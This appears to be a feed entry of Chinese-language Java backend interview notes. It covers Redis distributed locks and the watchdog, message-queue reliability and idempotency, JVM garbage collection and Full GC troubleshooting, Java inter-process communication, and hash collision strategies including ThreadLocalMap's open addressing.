      <content:encoded><![CDATA[<h1>Redis</h1><h2 id="1-lua脚本如何实现原子性操作">1.lua脚本如何实现原子性操作</h2><p>Lua 脚本实现原子性的根本原因，在于 <strong>Redis 的单线程命令执行模型</strong>。</p><ol><li><strong>排他性执行（阻塞队列）：</strong> 当 Redis 接收到一个 <code>EVAL</code> 或 <code>EVALSHA</code> 命令来执行 Lua 脚本时，它会将整个脚本视为一个**“超级命令”**。在单线程的主事件循环中，一旦这个脚本开始执行，<strong>Redis 就会阻塞其他所有客户端的请求</strong>。</li><li><strong>不可中断：</strong> 在脚本完全执行完毕（或达到超时时间）之前，任何其他命令都无法插队到执行队列中。这就保证了脚本内部的 <code>Get</code>、<code>If</code>、<code>Set</code> 等一系列操作是被打包成一个绝对隔离的整体执行的。</li><li><strong>对比 Redis 传统事务 (<code>MULTI/EXEC</code>)：</strong> Redis 传统的事务只是把命令按顺序放进队列，虽然执行时也不会被打断，但它<strong>缺乏逻辑判断能力</strong>。你无法在 <code>MULTI</code> 中“根据第一步 <code>GET</code> 的结果，决定第二步是否执行 <code>SET</code>”。而 Lua 是图灵完备的编程语言，完美弥补了这一缺陷。</li></ol><h2 id="2-lock-与-tryLock-的核心区别">2.lock 与 tryLock 的核心区别</h2><p><strong>lock()：阻塞式重试</strong></p><ul><li><strong>语义</strong>：一定要拿到锁，拿不到就死等。</li><li><strong>底层机制</strong>：<ol><li>尝试通过 Lua 脚本获取锁（保证原子性）。</li><li>如果获取失败，会订阅（Subscribe）Redis 的一个 <strong>Channel</strong>，进入等待状态。</li><li>当锁释放时，Redis 发布消息通知订阅者，线程再次唤醒尝试竞争。</li></ol></li><li><strong>适用场景</strong>：对业务成功率要求极高，且能容忍一定延迟的任务，如每日凌晨的财务结算。</li></ul><p><strong>tryLock()：非阻塞/限时尝试</strong></p><ul><li><strong>语义</strong>：能拿就拿，拿不到就算了，或者在规定的时间内试一下。</li><li><strong>底层机制</strong>：<ol><li>立刻尝试获取锁，失败则返回 <code>false</code>（无参版本）。</li><li>带参数版本（如 <code>tryLock(10s, 30s)</code>）会在设定的 <code>waitTime</code> 内通过 <strong>循环 + 信号量</strong> 的方式反复尝试。</li></ol></li><li><strong>适用场景</strong>：高并发下的秒杀、抢购。与其让大量线程阻塞耗尽资源，不如直接告知用户“系统繁忙”。</li></ul><h2 id="3-看门狗">3.看门狗</h2><p>如果我们手动设置锁的过期时间（例如 30s），但业务逻辑因为 GC 抖动或网络延迟运行了 35s，锁就会提前释放，导致其他线程进入临界区，引发并发安全问题。</p><p><strong>工作流程</strong></p><p>看门狗本质上是一个<strong>后台定时任务（TimeWheel 时间轮）</strong>。</p><ol><li><strong>自动续期</strong>：当线程成功获取锁且<strong>未显式指定过期时间</strong>时，看门狗会生效。它默认设置锁的 <code>leaseTime</code> 为 30s。</li><li><strong>三分之一触发</strong>：看门狗每隔 <code>internalLockLeaseTime / 3</code>（默认 10s）检查一次。</li><li><strong>续命</strong>：如果当前线程还持有锁，看门狗会发送 Lua 脚本将 Redis 中的 key 过期时间重置回 30s。</li><li><strong>自动终止</strong>：当业务执行完毕调用 <code>unlock()</code>，或者进程宕机，看门狗任务停止，锁最终会自然过期释放。</li></ol><h1>MQ</h1><h2 id="1-消息的可靠性如何保证">1.消息的可靠性如何保证</h2><p>一条消息的生命周期拆解为三个阶段：<strong>生产阶段、存储阶段、消费阶段</strong>，分别进行针对性的设计。</p><p>生成阶段：</p><p><strong>业务代码执行成功了（比如订单落库了），但消息发到 MQ 的半路上因为网络原因丢了。</strong></p><ol><li>基础防线：开启确认机制（ACK / Confirm）</li></ol><ul><li><strong>机制</strong>：不要使用默认的“发后即忘（Fire-and-Forget）”模式。必须开启生产者的确认机制（如 RabbitMQ 的 <code>Publisher Confirms</code> 或 Kafka 的 <code>acks=all</code>）。</li><li><strong>原理</strong>：消息发送后，阻塞等待（或注册异步回调）MQ Broker 返回的确认回执。只有收到明确的 <code>ACK</code>，才认为发送成功；如果收到 <code>NACK</code> 或超时，则进行重试。</li></ul><ol start="2"><li>核心大招：本地消息表（Outbox Pattern） / 事务消息</li></ol><p>如果单纯用 Confirm 机制，依然解决不了“写数据库和发消息不是原子操作”的问题（比如数据库事务提交了，但刚好 JVM 宕机，没来得及发消息）。</p><ul><li><strong>本地消息表（经典方案）</strong>： 在业务数据库中建一张 <code>message_log</code> 表。业务操作和记录消息日志在<strong>同一个本地事务</strong>中提交。后台启一个定时任务（或使用 Canal 监听 Binlog），不断扫描状态为“未发送”的消息投递到 MQ，收到 MQ 的 ACK 后再将状态改为“已发送”。</li><li><strong>RocketMQ 事务消息（原生支持）</strong>： 利用 RocketMQ 的半消息（Half Message）和回查机制，MQ 服务端会主动来询问业务系统的事务执行状态，从而保证本地事务与消息发送的最终一致性。</li></ul><p>存储阶段：</p><p>这个阶段的痛点是：<strong>消息安全到达 MQ 了，但 MQ 刚存进内存还没落地，服务器就断电了。</strong></p><ol><li>持久化机制（Persistence）</li></ol><p>必须将队列、交换机以及消息本身都设置为持久化。</p><ul><li><strong>权衡</strong>：为了极致的可靠性，可以配置为<strong>同步刷盘</strong>（写进磁盘才返回 ACK），但这会导致吞吐量断崖式下跌。在绝大多数互联网场景下，我们会选择<strong>异步刷盘</strong>（先写进 OS Cache 就返回 ACK，由操作系统决定何时刷入磁盘），牺牲极小概率的可靠性来换取成倍的性能。</li></ul><ol start="2"><li>高可用集群与副本复制（Replication）</li></ol><p>单机持久化依然防不住磁盘损坏。</p><ul><li><strong>机制</strong>：必须采用集群部署。比如 Kafka 的 ISR（In-Sync Replicas）机制，设置 <code>min.insync.replicas &gt; 1</code>，并且配合生产端的 <code>acks=all</code>。这意味着消息不仅要写入主节点，还必须同步到至少一个从节点，才给生产者返回成功。即便主节点瞬间物理毁灭，数据也依然存在。</li></ul><p>消费阶段：</p><ol><li>坚决关闭自动 ACK</li></ol><ul><li><strong>机制</strong>：大多数框架默认是开启自动 ACK 的（只要把消息推给你，MQ 就删数据）。在核心业务中，<strong>必须改为手动 ACK（Manual ACK）</strong>。</li><li><strong>原理</strong>：只有当消费者这边的业务逻辑（比如扣减库存、更新数据库）<strong>全部成功提交事务后</strong>，才向 MQ 发送确认。如果抛出异常，则拒绝该消息（<code>Nack</code> / <code>Reject</code>），让 MQ 重新投递。</li></ul><ol start="2"><li>兜底方案：死信队列（DLQ - Dead Letter Queue）</li></ol><ul><li>如果一条消息因为数据格式错误，导致消费者每次重试都报错，就会形成无限死循环（毒药消息）。</li><li><strong>机制</strong>：我们需要设置重试次数上限（比如 3 次）。达到上限后，不再重试，而是将这条消息丢入一个专门的“死信队列”。由人工介入排查 bug，或者由专门的降级程序去处理这个 DLQ。</li></ul><h2 id="2-消息的幂等性">2.消息的幂等性</h2><p>第零步：确立唯一凭证（绝对不信任 MQ 自带的 Message ID）</p><p>很多初级开发会直接用 RocketMQ 或 RabbitMQ 生成的 <code>Message ID</code> 来做去重。这是个巨大的坑！</p><ul><li><strong>原因</strong>：在某些重试场景下（例如客户端超时未收到 ACK 而重发），MQ 可能会生成一个全新的 <code>Message ID</code>，但它装载的业务数据依然是同一份。</li><li><strong>资深做法</strong>：<strong>强依赖业务侧生成的全局唯一 ID（Biz ID）。</strong> 例如 <code>业务类型_订单号_流水号</code>（如 <code>PAY_ORDER_20231024001</code>）。我们将这个 Biz ID 贯穿整个防线。</li></ul><p>第一道防线：并发拦截层（Redis 分布式锁）</p><p>这道防线的目的是<strong>挡住同一毫秒内涌入的极端并发重复请求</strong>（例如用户手抖疯狂点击，前端防抖失效，导致多条相同消息瞬间到达）。</p><ul><li><strong>实现机制</strong>：利用 Redis 的 <code>SETNX</code>（或 Redisson）加锁。<ul><li>消费者拿到消息后，第一时间执行：<code>setnx(biz_id, &quot;LOCKED&quot;, expire_time)</code>。</li><li>如果返回 1（加锁成功），说明是第一次处理，放行到后端业务逻辑。</li><li>如果返回 0（加锁失败），说明当前已经有另一个线程在处理这条消息了，<strong>直接抛出异常，让 MQ 稍后重试</strong>（因为前一个线程可能执行失败，不能立刻默默丢弃）。</li></ul></li><li><strong>防坑经验</strong>：锁的过期时间（expire_time）必须大于业务逻辑的最大执行时间，通常设置为 5-10 分钟。</li></ul><p>第二道防线：业务逻辑层（状态机与版本号校验）</p><p>当请求穿透 Redis（比如第一条消息处理完释放了锁，一小时后 MQ 又把这条消息重投了一次），就会来到第二道防线。这里完全依赖业务逻辑来判断。</p><ul><li><strong>针对 Update（更新）操作：引入状态机或乐观锁。</strong><ul><li><strong>状态机流转</strong>：例如订单发货逻辑。在执行发货前，先查数据库判断 <code>if (order.status != 'PAID')</code>。如果状态已经是 <code>SHIPPED</code>（已发货），说明重复消费了，<strong>直接 return success，告诉 MQ 消费成功，终止流程。</strong></li><li><strong>乐观锁</strong>：扣减库存时带上版本号或旧值。<code>UPDATE stock SET amount = amount - 1, version = version + 1 WHERE sku = 1001 AND version = old_version</code>。如果更新行数为 0，说明被处理过了。</li></ul></li></ul><p>第三道防线：持久化兜底层（数据库唯一索引 / 去重表）</p><p>这是最坚固的物理防线。即便代码逻辑写出了 Bug，数据库也必须守住底线。</p><ul><li><strong>针对 Insert（插入）操作：唯一索引（Unique Key）。</strong><ul><li>在核心流水表（如 <code>payment_record</code>）上，为 <code>biz_id</code> 建立唯一索引。</li><li>当重复消息试图插入同样的 <code>biz_id</code> 时，数据库会抛出 <code>DuplicateKeyException</code>。我们在代码中捕获这个异常，不作为报错，而是打印一条警告日志后，向 MQ 返回 ACK 消费成功。</li></ul></li><li><strong>通用解法：防重表（Deduplication Table）。</strong><ul><li>专门建一张 <code>message_dedup</code> 表，以 <code>biz_id</code> 为唯一主键。</li><li>将“插入防重表”和“执行核心业务”放在<strong>同一个本地数据库事务</strong>中。重复消费时，插入防重表必报主键冲突，导致整个事务回滚，确保业务数据绝对安全。</li></ul></li></ul><h1>JVM</h1><h2 id="1-频繁发生Full-GC如何解决？">1.频繁发生Full GC如何解决？</h2><p>Full GC 频繁意味着老年代（Old Generation）空间迅速填满。我们要从“内存泄漏”和“内存溢出/配置不当”两个维度去排查。</p><p>在重启应用之前，必须获取关键的诊断信息，否则问题原因会随进程消失。</p><ul><li><strong>dump 堆内存</strong>：<code>jmap -dump:format=b,file=heap.hprof &lt;pid&gt;</code>。这是分析内存泄漏最直接的证据。</li><li><strong>查看 GC 日志</strong>：确认是哪种回收（CMS、G1 还是 Parallel）。</li><li><strong>实时查看内存状态</strong>：<code>jstat -gcutil &lt;pid&gt; 1000 10</code>。观察各个分区的增长速度。</li></ul><p>通常 Full GC 频繁由以下四个核心原因导致：</p><p>A. 内存泄漏 (Memory Leak)</p><ul><li><strong>现象</strong>：每次 Full GC 之后，老年代回收掉的内存越来越少。</li><li><strong>根源</strong>：长生命周期的对象（如静态 Map、未关闭的资源、ThreadLocal）持有了短生命周期对象的引用。</li><li><strong>工具</strong>：使用 <strong>MAT (Memory Analyzer Tool)</strong> 或 <strong>JProfiler</strong> 打开 dump 文件，查看 <code>Dominator Tree</code>（支配树），找出占用内存最大的对象路径。</li></ul><p>B. 大对象直接进入老年代</p><ul><li><strong>现象</strong>：Young GC 并不频繁，但 Full GC 突然增加。</li><li><strong>根源</strong>：代码中产生了巨大的数组或长字符串。由于 Eden 区放不下，或者超过了 <code>-XX:PretenureSizeThreshold</code> 配置，这些对象直接跳过新生代进入老年代。</li><li><strong>对策</strong>：检查代码中是否有单次查询数据库返回几十万条记录的情况。</li></ul><p>C. 晋升失败 (Promotion Failed)</p><ul><li><strong>现象</strong>：Young GC 后，幸存者区（Survivor）太小，导致对象过早晋升到老年代。或者老年代碎片化严重（CMS 特有）。</li><li><strong>根源</strong>：<code>-XX:MaxTenuringThreshold</code> 设置过小，或者 Survivor 区空间被挤占。</li><li><strong>对策</strong>：适当调大 Survivor 区，或调整晋升年龄限制。</li></ul><p>D. 内存分配不合理 (Parameter Mismatch)</p><ul><li><strong>现象</strong>：堆总大小设置太小，导致稍微有一点流量波动就触发 Full GC。</li><li><strong>对策</strong>：检查 <code>-Xms</code> 和 <code>-Xmx</code> 是否一致（建议设为一致，避免频繁动态伸缩），并确保堆大小满足业务并发量的需求。</li></ul><p>方案一：JVM 参数调优</p><p>如果是因为 CMS 碎片化：</p><ul><li>开启 <code>-XX:+UseCMSCompactAtFullCollection</code>，在 Full GC 后进行碎片整理。</li><li>如果是 G1 收集器，尝试调整 <code>-XX:MaxGCPauseMillis</code>（设置合理的停顿目标）。</li></ul><p>方案二：代码重构</p><ul><li><strong>减少临时对象</strong>：避免在循环内创建大量对象。</li><li><strong>缓存控制</strong>：使用带过期时间的缓存（如 Caffeine 或 Redis），严禁使用无界 <code>HashMap</code> 做本地缓存。</li><li><strong>数据库查询</strong>：增加 <code>limit</code>，避免大表全扫描。</li></ul><p>方案三：排查外部触发</p><ul><li><strong><code>System.gc()</code></strong>：检查代码或第三方库是否显式调用了它。</li><li><strong>对策</strong>：配置 <code>-XX:+DisableExplicitGC</code> 来禁用它。</li></ul><p><strong>观察趋势</strong>：用 <code>jstat</code> 确认是老年代（O）还是持久代/元空间（M）触发的 GC。</p><p><strong>定位代码</strong>：如果是 O 区，看是否有大对象；如果是 M 区，看是否动态生成了过多的类（如反射、CGLIB 滥用）。</p><p><strong>灰度验证</strong>：修改参数或代码后，在单台机器观察 GC 频率是否下降，确认无效再扩大部分。</p><h2 id="2-JVM-的核心组成架构">2.JVM 的核心组成架构</h2><ol><li>类加载子系统 (Class Loader Subsystem)</li></ol><p>这是 JVM 的“入口”。它负责从文件系统或网络中加载 <code>.class</code> 文件，并将其转化为内存中的数据结构。</p><ul><li><strong>加载 (Loading)</strong>：通过双亲委派机制寻找并读入字节码。</li><li><strong>链接 (Linking)</strong>：分为 <strong>验证</strong>（确保格式正确）、<strong>准备</strong>（为静态变量分配内存并赋初始零值）、<strong>解析</strong>（将符号引用转为直接引用）。</li><li><strong>初始化 (Initialization)</strong>：执行类构造器 <code>&lt;clinit&gt;</code> 方法，为静态变量赋真实的业务初始值。</li></ul><ol start="2"><li>运行时数据区 (Runtime Data Areas)</li></ol><p>这就是你提到的“那五个部分”，它们是 JVM 的“存储仓库”：</p><ul><li><strong>线程私有</strong>：程序计数器、Java 虚拟机栈、本地方法栈。</li><li><strong>线程共享</strong>：堆（Heap）、方法区（Method Area / 元空间 Metaspace）。</li></ul><p>除了上面的五个还包括：</p><p><strong>执行引擎 (Execution Engine)</strong></p><p>如果说数据区是仓库，执行引擎就是“加工厂”。它负责解释或编译执行字节码：</p><ul><li><strong>解释器 (Interpreter)</strong>：逐条将字节码翻译成机器码执行，启动快，但运行效率相对较低。</li><li><strong>JIT 编译器 (Just-In-Time Compiler)</strong>：这是 Java 高性能的核心。它会将热点代码（经常执行的代码）编译成<strong>本地机器码</strong>并缓存，极大提升运行速度。</li><li><strong>垃圾回收器 (Garbage Collector)</strong>：自动清理堆内存中不再使用的对象。它是执行引擎中最复杂的模块（如 G1, ZGC）。</li></ul><p><strong>本地方法接口 &amp; 库 (JNI &amp; Native Method Libraries)</strong></p><ul><li><strong>JNI (Java Native Interface)</strong>：它是 Java 与 C/C++ 沟通的桥梁。Java 无法直接操作底层硬件，必须通过 JNI 调用操作系统提供的本地库（如文件 I/O、网络通信）。</li><li><strong>本地方法库</strong>：C/C++ 编写的动态链接库（.dll 或 .so 文件），支撑 Java 核心 API 的底层实现。</li></ul><p><strong>直接内存 (Direct Memory)</strong></p><ul><li>虽然它<strong>不属于</strong> JVM 运行时数据区规范的一部分，但被 Java 程序频繁使用（如 NIO 的 <code>DirectByteBuffer</code>）。它直接在操作系统内存中分配，绕过了 JVM 堆，减少了数据拷贝开销。</li></ul><p><strong>执行时控制组件</strong></p><ul><li><strong>线程调度器</strong>：负责分配 CPU 时间片给各个 Java 线程。</li><li><strong>信号处理/错误处理</strong>：处理如 <code>StackOverflowError</code> 或系统中断信号。</li></ul><h2 id="3-说一下-JAVA-中的垃圾回收机制">3.说一下 JAVA 中的垃圾回收机制</h2><p>Java 的垃圾回收（GC）机制就是 JVM 自动管理内存的过程，它负责识别并回收堆内存中那些不再被使用的对象，从而避免内存泄漏。</p><p>在 Java 中，我们<strong>不使用</strong>引用计数法（因为它无法解决循环引用的死锁问题），而是使用 <strong>可达性分析算法 (Reachability Analysis)</strong>。</p><ul><li><strong>核心逻辑</strong>：JVM 会选取一些被称为 <strong>GC Roots</strong> 的对象作为起点（比如线程栈中的局部变量、方法区中的静态变量和常量等）。从这些起点开始向下搜索，搜索走过的路径称为“引用链”。</li><li><strong>判定标准</strong>：如果一个对象到 GC Roots 没有任何引用链相连（即不可达），那么这个对象就被判定为“垃圾”，即将被回收。</li></ul><p>找到垃圾后，JVM 提供了三种基础的清理策略，它们各有优劣，是后续所有复杂垃圾回收器的基石：</p><ul><li><strong>标记-清除 (Mark-Sweep)</strong>：把垃圾标记出来，直接清理掉。<strong>缺点</strong>：会产生大量不连续的内存碎片，导致后续大对象找不到足够的连续空间。</li><li><strong>标记-复制 (Copying)</strong>：将内存分为大小相等的两块，每次只使用其中一块。回收时，把存活的对象整齐地复制到另一块上，然后清空当前块。<strong>优点</strong>：没有碎片。<strong>缺点</strong>：内存利用率低（浪费了一半）。</li><li><strong>标记-整理 (Mark-Compact)</strong>：结合了前两者的优点。标记出存活对象后，将它们全部向内存空间的一端移动（压缩），然后直接清理掉边界以外的垃圾。<strong>优点</strong>：没有碎片，且充分利用内存。<strong>缺点</strong>：移动对象非常耗时（会引起应用程序的长时间暂停，即 STW）。</li></ul><p>因为 JVM 发现了一个客观规律：<strong>“绝大多数对象都是朝生夕灭的，而熬过越多次垃圾收集的对象，就越难被回收。”</strong> 因此，JVM 将堆内存物理划分为不同的区域，因地制宜地采用不同的回收算法：</p><ul><li><strong>年轻代 (Young Generation)</strong>：绝大多数新创建的对象都在这里。因为存活率极低，这里采用<strong>标记-复制算法</strong>（进一步优化为 Eden 区和两个 Survivor 区，比例通常是 8:1:1，极大提高了内存利用率）。这里的回收非常频繁，称为 <strong>Minor GC</strong>。</li><li><strong>老年代 (Old Generation)</strong>：存放生命周期长、占用空间大的对象（比如 Spring 里的单例 Bean、长连接对象）。当年轻代的对象熬过了多次 GC（默认 15 次），就会“晋升”到老年代。因为这里对象存活率高，通常采用<strong>标记-整理</strong>或<strong>标记-清除</strong>算法。这里的回收发生频率低，但耗时长，称为 <strong>Major GC / Full GC</strong>。</li></ul><p>你好！这个问题非常切中 JVM 内存管理的要害。JVM 之所以要将堆内存划分为“年轻代”和“老年代”，根本原因是基于一个客观事实（弱分代假说）：<strong>绝大多数对象都是“朝生夕灭”的，而熬过多次垃圾回收的对象通常会存活很久。</strong></p><p>因为这两个区域里对象的“寿命”特征完全不同，所以 JVM 采用了不同的垃圾回收算法（这被称为“分代收集理论”）。简单来拆解一下：</p><ol><li>年轻代 (Young Generation) —— 核心策略：标记-复制算法 (Copying)</li></ol><p>年轻代是新对象诞生的地方。这里的特点是：每次垃圾回收时，都有大批对象死去（存活率通常不到 10%）。</p><ul><li><strong>采用算法</strong>：<strong>标记-复制算法</strong>。</li><li><strong>具体怎么做</strong>：<ol><li>JVM 将年轻代内存分为一块较大的 Eden 空间和两块较小的 Survivor 空间（默认比例是 8:1:1）。</li><li>每次只使用 Eden 和其中一块 Survivor。</li><li>当发生垃圾回收（Minor GC）时，JVM 会把 Eden 和那块正在使用的 Survivor 中<strong>依然存活</strong>的对象，一次性全部分配（复制）到另一块空闲的 Survivor 空间上。</li><li>最后直接清空 Eden 和刚才用过的 Survivor 空间。</li></ol></li><li><strong>为什么用这个算法？</strong> 因为年轻代存活的对象极少，复制这些少量对象的成本非常低。而且复制过去后是整齐排列的，<strong>绝对不会产生内存碎片</strong>，下一次分配大对象时速度极快。</li></ul><ol start="2"><li>老年代 (Old Generation) —— 核心策略：标记-清除 (Mark-Sweep) 或 标记-整理 (Mark-Compact)</li></ol><p>老年代存放的是那些在年轻代熬过了多次 GC 依然存活的“老顽固”（比如 Spring 容器里的单例 Bean、长连接对象、大数组）。这里的特点是：对象存活率极高。</p><ul><li><strong>采用算法</strong>：不能用复制算法（因为存活对象太多，复制起来不仅极度消耗 CPU，而且还要浪费一半的空间来做备份）。因此采用 <strong>标记-清除</strong> 或 <strong>标记-整理</strong> 算法。</li><li><strong>具体怎么做</strong>：<ul><li><strong>标记-清除 (如 CMS 收集器)</strong>：先把没用的垃圾对象标记出来，然后直接原地把它们清理掉。<strong>优点</strong>是速度较快，停顿时间短；<strong>缺点</strong>是清理后会留下像“马蜂窝”一样的<strong>内存碎片</strong>。</li><li><strong>标记-整理 (如 Parallel Old 收集器)</strong>：标记出存活的对象后，让所有存活的对象都向内存空间的一端移动（像推土机一样压缩），然后直接清理掉边界以外的内存。<strong>优点</strong>是没有内存碎片；<strong>缺点</strong>是移动大量对象非常耗时，会导致较长的系统停顿（STW）。</li></ul></li><li><strong>为什么用这个算法？</strong> 因为老年代空间宝贵且对象稳定，只能采用这种空间利用率更高、尽量少移动对象的原地回收策略。</li></ul><h1>BASE</h1><h2 id="1-Java-进程之间怎么通信">1.Java 进程之间怎么通信</h2><p>首先我们先去说说进程间的通信方式：</p><p>管道，信号量，共享内存，消息队列，信号，套接字 mmap</p><p>然后JAVA呢？</p><p>跨网络/分布式进程通信：</p><p><strong>RESTful API (HTTP/JSON)</strong>：</p><ul><li><strong>特点</strong>：协议简单，跨语言支持好，生态丰富。</li><li><strong>适用场景</strong>：外部接口暴露，或者对性能要求不是极高的内部微服务调用。</li></ul><p><strong>RPC (Remote Procedure Call)</strong>：</p><ul><li><strong>代表技术</strong>：Dubbo、gRPC、Thrift。</li><li><strong>深度剖析</strong>：gRPC 基于 HTTP/2，使用 Protocol Buffers 序列化，比 JSON 更小更快。其核心思想是让调用远程方法像调用本地方法一样透明。</li></ul><p><strong>消息队列 (MQ)</strong>：</p><ul><li><strong>代表技术</strong>：Kafka、RabbitMQ、RocketMQ。</li><li><strong>特点</strong>：<strong>解耦、异步、削峰填谷</strong>。通过发布/订阅模型实现进程间数据的最终一致性。</li></ul><p>单机跨进程通信：</p><p>A. 共享内存 (Shared Memory) —— 最快</p><p>Java 本身没有直接的共享内存概念，但可以通过 <code>MappedByteBuffer</code>（内存映射文件）来实现。</p><ul><li><strong>原理</strong>：两个进程映射同一个物理文件到自己的虚拟内存地址空间。</li><li><strong>库支持</strong>：<strong>Chronicle Queue</strong> 或 <strong>Aeron</strong>。这些高性能工具常用于量化交易系统，延迟可以达到微秒级。</li></ul><p>B. Unix Domain Socket (UDS)</p><ul><li><strong>原理</strong>：在 Linux 环境下，UDS 不需要经过环回网络接口（Loopback），直接在内核空间交换数据。</li><li><strong>Java 支持</strong>：从 <strong>Java 16</strong> 开始，标准库正式支持 <code>UnixDomainSocketAddress</code>；在此之前通常使用 Netty 的 <code>EpollServerDomainSocketChannel</code>。</li><li><strong>优势</strong>：性能优于 TCP 本地回环（127.0.0.1），安全性更高。</li></ul><p>基础/传统的 IPC 方式：</p><p><strong>Socket (TCP/UDP)</strong>：最底层的方式。即便在同一台机器，也可以通过 <code>127.0.0.1</code> 进行通信。</p><p><strong>管道 (Pipes)</strong>：</p><ul><li>在 Java 中可以通过 <code>ProcessBuilder</code> 创建子进程，并通过 <code>InputStream</code>/<code>OutputStream</code> 与子进程进行输入输出重定向。</li></ul><p><strong>RMI (Remote Method Invocation)</strong>：</p><ul><li>Java 原生的远程调用。</li><li><strong>资深评价</strong>：由于安全性问题和过度耦合（强依赖 Java 序列化），在现代开发中已基本被 RPC 框架取代，不推荐在新项目中使用。</li></ul><h2 id="2-哈希表冲突怎么解决">2.哈希表冲突怎么解决</h2><ol><li>链地址法（Chaining / 拉链法）</li></ol><ul><li><strong>核心原理</strong>：哈希表的每个槽位不仅可以存元素，还可以是一个链表的头节点。发生冲突时，将新元素追加到该槽位对应的链表中。</li><li><strong>Java 源码印证</strong>：<code>java.util.HashMap</code> 和 <code>ConcurrentHashMap</code> 都是最典型的代表。</li><li><strong>资深视角</strong>：传统的拉链法有个致命伤——如果发生了严重的哈希碰撞（甚至是被恶意攻击），某个槽位的链表会无限变长，导致查询性能从 O(1) 暴跌到 O(n)。所以 <strong>JDK 1.8 做出了史诗级优化</strong>：当链表长度超过 8 且整个哈希表容量达到 64 时，链表会转化为<strong>红黑树</strong>，将最坏情况下的查询复杂度控制在 O(log n)。</li></ul><ol start="2"><li>开放寻址法（Open Addressing）</li></ol><ul><li><strong>核心原理</strong>：整个哈希表就是一个大数组，不借助外部的链表。一旦发生冲突，就顺着数组往后找，直到找到下一个空的槽位。寻找空位的方法包括：线性探测（挨个找）、二次探测（跳跃找）和双重哈希。</li><li><strong>Java 源码印证</strong>：<code>ThreadLocal</code> 内部的定制版哈希表 <code>ThreadLocalMap</code> 使用的就是<strong>基于线性探测的开放寻址法</strong>。</li><li><strong>优缺点剖析</strong>：<ul><li><em>优势</em>：由于数据全集中在一个数组里，非常契合现代 CPU 的缓存局部性原理（Cache Line），内存读取极快；而且省去了链表节点带来的指针内存开销。</li><li><em>劣势</em>：容易产生“堆积（Clustering）”现象，即冲突的元素连成一片，导致后续插入越来越慢。同时，删除元素极其痛苦，不能直接清空，必须引入“墓碑（Tombstone）”标记，否则会切断其他冲突元素的探测路径。</li></ul></li></ul><ol start="3"><li>再哈希法（Rehashing）</li></ol><ul><li><strong>核心原理</strong>：预先准备好一组不同的哈希函数。当第一个哈希函数计算的位置冲突时，换第二个哈希函数再算一次，依次类推，直到找到空位。</li><li><strong>特点</strong>：这种方法使得数据分布更加均匀，极大地减少了聚集现象，但代价是消耗了更多的 CPU 计算时间。</li></ul><ol start="4"><li>公共溢出区法</li></ol><ul><li><strong>核心原理</strong>：在内存中划分为两块区域：“基本表”和“溢出表”。所有没有冲突的元素存在基本表，凡是发生冲突的元素，不管它原本的哈希值是多少，一律扔进溢出表里顺序存放。</li><li><strong>特点</strong>：实现极其简单，但在高冲突率的场景下，溢出表的顺序遍历会成为性能的绝对瓶颈。</li></ul><p><strong>如何降低冲突概率</strong>才真正体现基本功。以 Java <code>HashMap</code> 为例，它做了两招极佳的预防：</p><ol><li><strong>扰动函数 (Perturbation Function)</strong>：源码中的 <code>(h = key.hashCode()) ^ (h &gt;&gt;&gt; 16)</code>。它将特征值的高 16 位和低 16 位进行异或，确保即使在哈希表很小的情况下，对象哈希值的高位特征也能参与到寻址运算中，极大降低了低位碰撞的概率。</li><li><strong>负载因子的考量</strong>：默认负载因子设定为 <code>0.75</code>。这是 JDK 开发者在大量测试后得出的空间与时间的黄金折中。根据泊松分布，在 0.75 的负载下，链表长度达到 8 的概率不足千万分之一。</li></ol><h2 id="3-ThreadLocalMap-为什么不像-HashMap-那样使用拉链法，而是选择了开放寻址法">3.ThreadLocalMap 为什么不像 HashMap 那样使用拉链法，而是选择了开放寻址法</h2><ol><li>核心原因：与“弱引用（WeakReference）”的完美契合</li></ol><p>这是最致命、也是最根本的原因。</p><p><code>ThreadLocalMap</code> 的核心职责是为线程保存私有变量。为了防止哪怕开发者忘记清理导致的严重内存泄漏，<code>ThreadLocalMap.Entry</code> 被设计为继承自 <code>WeakReference&lt;ThreadLocal&lt;?&gt;&gt;</code>。也就是说，<strong>Key（ThreadLocal 实例本身）是弱引用的</strong>，一旦外部没有强引用指向它，下一次 GC 就会把 Key 回收掉，此时 Entry 的 Key 就变成了 <code>null</code>（被称为 Stale Entry，即“陈旧条目”）。</p><ul><li><strong>如果使用拉链法</strong>：当链表（或红黑树）深处的某个节点的 Key 被 GC 掉变成了 <code>null</code>，你要如何清理它？你需要遍历所有槽位，再遍历每条链表，维护前驱节点和后继节点的指针关系来删除它，这使得清理逻辑极其复杂且性能低下。</li><li><strong>使用开放寻址法</strong>：数据全部在同一个一维数组里。<code>ThreadLocalMap</code> 顺水推舟地实现了一套极其优雅的“<strong>顺手牵羊清理机制（启发式清理）</strong>”。在执行 <code>get()</code>、<code>set()</code> 或 <code>remove()</code> 时，如果顺着数组往下找，遇到了 Key 为 <code>null</code> 的槽位（陈旧条目），内核会自动触发 <code>expungeStaleEntry()</code> 方法，把该位置以及附近连续的陈旧条目全部清空，并将后面的元素往前挪（Rehash）。线性探测天然适合这种连续内存的段落扫描与清理。</li></ul><ol start="2"><li>极致的 CPU 缓存亲和性（Cache Locality）</li></ol><p>资深工程师写代码，眼睛里不仅有内存，还要有 CPU 缓存（L1/L2/L3 Cache）。</p><ul><li><strong>拉链法</strong>：需要额外的 <code>Node</code> 对象包装数据，<code>Node</code> 之间通过 <code>next</code> 指针连接。这些节点在堆内存中是<strong>零散分布</strong>的。CPU 每次顺着指针去读下一个节点，大概率会发生 Cache Miss。</li><li><strong>开放寻址法</strong>：<code>ThreadLocalMap</code> 是一个纯粹的一维数组。根据 CPU 的<strong>空间局部性原理</strong>（Cache Line，通常一次加载 64 字节），当 CPU 命中数组的一个元素时，会顺便把相邻的元素也加载到高速缓存中。因为线性探测就是挨个往下找，这种结构在发生哈希冲突时的寻址速度极快。并且，省去了 <code>next</code> 指针的内存开销。</li></ul><ol start="3"><li>数据规模决定了不需要“重武器”</li></ol><p>技术选型永远不能脱离业务场景。</p><ul><li><strong>HashMap</strong>：是通用数据结构，面向的是海量数据，经常要存数万、数十万的键值对。如果用开放寻址法，冲突堆积（聚集效应）会导致性能灾难。</li><li><strong>ThreadLocalMap</strong>：它的宿主是具体的某一个 Thread。在绝大多数真实的业务场景中，<strong>一个线程所挂载的 <code>ThreadLocal</code> 变量通常只有几个到十几个</strong>（比如存一下 UserContext、TraceId、Connection 等）。 对于这种<strong>极小数据量</strong>的哈希表，拉链法的指针开销和复杂性变成了累赘，而开放寻址法的轻量、快速则展现得淋漓尽致。</li></ul><ol 